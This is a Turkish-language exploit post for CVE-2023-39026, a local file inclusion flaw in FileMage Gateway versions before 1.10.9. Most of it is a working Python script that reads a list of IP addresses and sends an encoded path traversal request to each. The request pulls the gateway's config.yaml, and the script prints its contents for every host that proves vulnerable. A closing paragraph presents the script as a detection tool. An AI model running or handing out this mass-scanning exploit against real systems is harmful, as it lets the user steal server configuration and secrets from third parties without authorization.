- Exploit Başlığı: FileMage Gateway 1.10.9 - Local File Inclusion
- Tarih: 22/08/2023
- Exploit Yazarı: Bryce "Raindayzz" Harty"
- Sürüm: Azure Sürümleri < 1.10.9
- Test Edilen Ortamlar: Tüm Azure dağıtımları < 1.10.9
- CVE: CVE-2023-39026
Bu zafiyetin ayrıntılarına teknik blog yazısından ulaşabilirsiniz: FileMage Gateway LFI
Exploit kodu aşağıdaki gibidir:
Python:
import requests
import warnings
warnings.filterwarnings("ignore")
def worker(url):
response = requests.get(url, verify=False, timeout=.5)
return response
def main():
listIP = []
file_path = input("IP adreslerini içeren dosyanın yolunu girin: ")
with open(file_path, 'r') as file:
ip_list = file.read().splitlines()
searchString = "tls"
for ip in ip_list:
url = f"https://{ip}" + "/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cprogramdata%5cfilemage%5cgateway%5cconfig.yaml"
try:
response = worker(url)
if searchString in response.text:
print("Vulnerable IP: " + ip)
print(response.text)
listIP.append(ip)
except requests.exceptions.RequestException as e:
print(f"Error occurred for {ip}: {str(e)}")
for x in listIP:
print(x)
if __name__ == '__main__':
main()
Bu kod, kullanıcıdan bir dosya yolunu girmesini bekler ve bu dosyadaki IP adreslerini okur. Ardından, her IP adresi için bir URL oluşturur ve bu URL'yi kullanarak dosya erişimi kontrol eder. Eğer belirtilen metin ("tls") yanıtın içinde bulunuyorsa, o IP adresi zafiyete sahip olarak değerlendirilir ve sonuçlar ekrana yazdırılır.
Bu zafiyeti tespit etmek için kodu kullanabilirsiniz.